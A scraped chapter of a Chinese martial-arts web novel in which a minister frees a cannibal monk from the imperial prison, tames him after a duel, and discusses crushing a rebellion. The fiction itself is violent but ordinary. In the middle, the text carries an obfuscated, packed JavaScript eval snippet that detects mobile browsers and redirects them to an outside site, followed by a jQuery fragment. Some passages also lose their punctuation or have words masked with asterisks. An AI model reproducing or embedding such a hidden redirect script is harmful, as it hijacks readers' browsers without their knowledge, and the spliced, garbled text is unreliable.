诏狱之外
凄厉的惨叫和铸铁大门内传来,让墨文台等人毛骨悚然,这究竟是怎样的一个怪物。
不难想象,此刻的诏狱,恐怕已经化作真正的人间地狱。
老山头坐在车板上,怀中抱着长刀,眼神满是凝重的看向大门之后幽暗的通道。
火焰熄灭
就像一头凶兽张开的血盆大口,择人而噬。
“血刀僧。”
老山头嘴里念叨着这个名字。
“你认识?”
苏文诧异的看了他一眼。
“不认识。”
老山头摇头:“但听说过这个名字。”
“嘿嘿,三十年前的天下第一,那时候我还只是个无名小卒罢了。”
“没想到竟然关押在锦衣卫的大牢里。”
天下第一又如何,还不是敌不过朝廷。
“相爷,这家伙修炼的武功极为诡异,名作噬人经,以人的精血和修为为食。”
“昔年道佛两宗曾有许多高手丧命在其手中。”
老山头提醒。
“无妨。”
苏文轻笑:“倘若不够诡异凶悍,本相还瞧不上眼。”
约莫一刻钟之后
诏狱深处的惨叫停下,归于寂静,缕缕血色的雾气从通道飘出,散发着让人作呕的臭味。
短暂的寂静之后,突然一道褴褛的身影从通道深处冲出。
那是一尊魔道的宗师
去年被关押到诏狱第六层
“鬼啊”
这名魔道宗师狂奔,时不时回头看向身后,眼神和脸上满是惊恐和绝望。
他的一只手臂从肩膀的位置断裂,伤口凹凸不皮,还有裸露的血筋和狰狞的齿痕。
并非是被利器斩断,更像是某种野兽撕咬断裂。
滴落的鲜血在他的身后,铺出一条血印。
似乎有什么恐怖的存在从身后追赶而来。
这名魔道宗师发挥出此生前所未有的速度,看着近在眼前的出口,潮湿的水汽扑面而来,他沉吸一口,脸上的惊恐散去。
冲出去
哪怕死在锦衣卫的乱刀之下
也比面对那个魔鬼要好
以前
这名魔道宗师还觉得锦衣卫的那些刑法残酷,可和被生吃相比,锦衣卫的手段还是太温柔了。
“挡住他。”
墨文台开口,门口的诸多武士就要动手。
但
就在此时
这尊魔道宗师突然
停下,原本满是兴奋的脸上再度浮现出恐惧。
因为
一只利爪从背后抓住了他的身体,锋利的指甲洞穿破肉,扣住了脊椎。
剧烈的疼痛让他发出嘶吼,身体不停的睁着,想要脱离魔爪,然而越挣扎就越痛苦。
“桀桀”
“我的美味,怎么能让你跑掉。”
恶魔的低语在耳旁响起,血雾翻涌,将其淹没,这名魔道宗师的身体不停的后退。
“救命。”
“救我。”
他不停的求救,却无济于事。
随着骨头崩裂的声音一起消失的,还有这名魔道宗师的惨叫。
细微的咀嚼声从通道内的血雾中传来,让人头皮发麻。
如狼似虎的锦衣卫听了,都禁不住双腿发软。
许久
血雾散去
沉重的脚步声出现,一道魔鬼般的身影走出诏狱,浑身挂着碎肉和鲜血,就连头发都被血染红。
浑身散发着可怕的煞气,那双瞳孔,如两座血海**,眼神中,根本看不到人性的感情,唯有凶兽般的嗜杀。
一头披着人皮的凶兽
锦衣卫众武士握着长刀,哪怕此刻正值狂风大雨,可浑身却止不住的冒冷汗。
血刀僧每往前一步,他们便往后退一步。
每个人的心头都笼罩着恐惧。
冰冷的杀气伴随着血雾弥漫,笼罩整个诏狱大门,猩红的目光扫过众人,就如同饥饿的野兽在打量着自己的猎物。
“咕咚”
墨文台喉结蠕动,将口水咽下。
血刀僧的目光最后看向那个男人,然而一道身影却挡住了他的视线。
独眼的马夫
“嗡嗡嗡”
隐隐有真气激荡,怀中长刀尚在鞘中,便开始震动,一缕淡淡的杀机浮现,将血雾驱散。
“轰”
血刀僧瞬间出现在老山头的面前,爪子落下,卷着血光,真气在空气中留下五道爪痕。
踏入大宗师境的老山头可不是四周的锦衣卫武士可比。
根本没有人看清楚他是怎么出手的,在血刀僧出现的瞬间,长刀就已经出鞘,朝前斩去。
凌厉的刀光以肉眼难以锁定的速度斩落。
这一刀空了
被血刀僧以极为诡异的角度避开。
但
老山头的意图已经达到
这一刀并不是想要和血刀僧拼命,而是想将他逼退。
第二刀接踵而
至
长刀横斩
无匹的刀光在诏狱前绽放,扩散的刀气将外面的风雨撕裂。
自突破大宗师之后,独眼马夫的快刀再度突破,达到一种前所未有的境界。
血雾被劈开,血刀僧手中结了个诡异的手印,朝着刀光抓去。
老山头独眼微眯,手中刀锋震动,瞬间挣脱那只干枯的手掌,长刀斜掠。
又是一刀落下,将血刀僧蹦退,枯瘦的身体重重的砸在诏狱的大门上,将两扇铸铁大门砸出一个人形凹痕。
铁屑簌簌的往下掉落,血刀僧的身上,被无形刀气斩出一刀深可见骨的伤痕。
诡异的事情发生
流出的鲜血并没有滴落,而是吸附于伤口表面,血肉蠕动,长出肉芽。
约莫十多个呼吸之后,原本的刀口愈合,只不过血刀僧身上的血气淡薄许多。
如此可怕的愈合力,莫说墨文台等人,就连老山头都没有见过。
“好一头凶兽。”
苏文开口,拍了拍老山头的肩膀,示意对方将刀收起。
老山头照做,长刀入鞘。
“参见主人。”
血刀僧被这两刀给压住凶性,眼底的血光散去,脑海中想起先前在囚室中的那一幕,心底发颤,急忙表示臣服。
“记好了。”
苏文悠悠开口:“本相的狗,最重要的就是听话。”
“我不让你杀的人,倘若你动了半个手指头,我绝对会让你后悔活在这个世界上。”
“属下遵命。”
血刀僧神色恭敬。
“带他下去收拾干净。”
挥了挥手,两个胆战心惊的锦衣卫武士上前,将这头凶兽带下去。
而墨文台则是领着其他的锦衣卫武士进入诏狱查看情况。
小半个时辰后
众人从通道出来,无一例外,全部靠在墙角吐个不停。
“相爷。”
直将肚子里的隔夜饭都吐得干干净净,墨文台方才苦着脸说道:“我在锦衣卫做了十多年,从来没有见过这么恐怖而恶心的场景。”
“让人清理干净。”
“等过段时间,自然有人把诏狱填满。”
苏文随口说道。
不多时,武士将清洗干净的血刀僧带上来。
白色的僧袍
消瘦的身体
头顶剃的干干净净,脖子上挂着佛珠,手里捻着一串挂珠。
吸食了诏狱所有囚犯的精血修为之后,血刀僧
的面容不似先前那般苍老。
约莫也就五六十岁。
配上这身行头颇有几分得道高僧的气度。
“小僧梵空见过相爷。”
梵空便是血刀僧的本名也是他梵咒寺的法号只是当今天下还记得梵空这个名字的恐怕没有几个了。
“把你的杀气收一收。”
苏文皱眉。
“遵命。”
梵空点头催动法门须臾间周身的血雾和杀气都敛入体内消失的无影无踪。
“刀法不错。”
梵空看向老山头:“不过却有些乘人之危小僧方才出狱一身修为尚未恢复且让你两刀。”
“等我痊愈之后定让你瞧瞧我血刀的威力。”
血刀僧最为出名的两样功夫其一是噬人经这门吸人精气修为的邪门功夫。
其二则是淄川的血刀刀法。
“相爷。”
见老山头没有回应的意思梵空又看向苏文舔了舔嘴唇:“相爷要不让我将这些人都吃了吧。”
闻言
墨文台等人齐齐打了个寒颤。
苏文撇嘴:“他们都是本相的麾下你就别打主意了以后有的是高手给你吃。”
“可惜可惜。”
梵空摇头晃脑跟在马车后头出大门的时候不忘回头看一眼众人。
就是这一眼让墨文台等锦衣卫高手连续几天几夜睡不着。
每晚只要闭上眼睛脑海中就会浮现出梵空的眼神然后被吓醒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602270|172026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风雨不停天色渐晚
马车慢悠悠的晃到长乐坊从东角门进入苏府。
沿着游廊来到后院
“老山头去库房给梵空寻摸件趁手的兵器来。”
老山头离去苏文掀开帘子在椅子上坐下屋内的侍女端上茶水有些好奇的打量了一眼梵空和尚。
暗道:“自家相爷又从哪儿寻摸了这么个得道高僧回来。”
“玉儿。”
“让管家将后头的屋子收拾一个出来。”
“好。”
侍女迈着莲步扭动着盈盈一握的腰肢离去。
刚端上茶水老山头便从库房回来手里提着跟根婴儿手臂粗的镔铁禅杖。
这禅杖顶端的九环却极小只有拇指粗细可声音却极为清脆。
老山头将九环镔铁禅杖抛给梵空解释道:“这根禅杖是从佛门一位得道高僧手
里得来的。”
梵空接住禅杖,轻轻一舞,霎时间生出一股劲风,一百三十斤的禅杖在他手里却轻飘飘的,好似枯竹节一般。
握住禅杖顶端,轻轻扭动,便从中拔出一口雪亮的长刀,熠熠生辉,寒气流转。
刀身以镔铁锻造,足足四尺长,梵空握住刀柄,一刀斩出。
佛门高僧瞬间化身血刀僧,就连镔铁长刀上都包裹着一层血色刀气。
“多谢相爷赐刀。”
梵空将长刀收入禅杖中,恭恭敬敬的朝着那个男人跪下。
“老山头。”
“带他去地牢。”
苏文眼皮轻抬,端起茶杯,目光看向外头。
地牢内关押的都是江湖中的一些高手,有前来刺杀苏文的刺客,也有他派人拘禁而来,陪练武功的。
大多数都不肯屈服,留着无用,索性成全梵空。
风雨下的玉京城,渐渐被夜色淹没,厚厚的乌云遮住月光和星辉。
这场风雨,仅仅只是一点前兆罢了,真正的**还在后头。
午夜
灯火未熄
屋内乐曲回荡,十多个轻纱少女正在翩翩起舞,苏文左拥右抱,极为惬意。
奈何天公不作美
房门被推开,计幽手里拿着一封密信走进来。
“都下去吧。”
苏文开口,屏退一众侍女,看向计幽:“什么事?”
“刚得到的消息,魏文通说动了青州,并州,肃州刺史,各出一万兵马。”
计幽:“蜀地的蜀王最近也在招兵买马。”
“咱们不能继续等下去了。”
“要尽快发兵平叛。”
青州,并州,苏州这三地民风彪悍,从大周开国,就是边军中的主要兵源地,也是勋贵们渗透最深的地方。
虽说以秦洪为首的六位国公府已经被查抄,其中人员也杀的七七八八。
但并没有彻底将世家勋贵连根拔起。
他们的势力还有很大一部分都扎根在大周各地,眼下全部投靠到魏文通麾下。
这是一股不容小觑的力量。
“不着急。”
苏文听到这个消息,依旧淡然处之,放下酒杯,轻声道:“再等等。”
“等他们全部冒头之后,顺势将其全部拔出,彻底斩断这群勋贵的根基。”
“这样会不会太冒险了。”
计幽有些迟疑。
继续等下去,固然收益更大,可需要承担的风险也更大。
给魏文通和蜀王招兵买马的时间,哪怕渔阳三镇不动,他们也能轻轻松松的拉出十多万甚至二十万大军。
要钱有钱,要粮有粮,要兵有兵。
这样的对手很可怕。
如此冒险的举动,在大多数人看来,对方绝对是疯子。
但计幽知道,苏文不是疯子,也不是傻子。
自家这位相爷是自信
太过于自信。
“陛下的圣旨已经送到各地官员的手中,怎么选择,就看他们自己。”
苏文:“另外从沉鱼州招募的一万士卒,也即将赶到到玉京城。”
“大周十九道,纵然雁南道,青州道,并州道,肃州道和巴蜀跟着一起**,咱们手里也还有十四道。”
“江南的粮食送不到北方,他们拿什么养那十万大军。”
“蜀王?”
苏文轻蔑一笑:“数日前,本相已经让北江水师进驻剑南道。”
“守着剑南,剑北两座雄关,他蜀王就是有百万大军,也只能龟缩在巴蜀。”
“所以说。”
“别急。”
“咱们继续等,继续看。”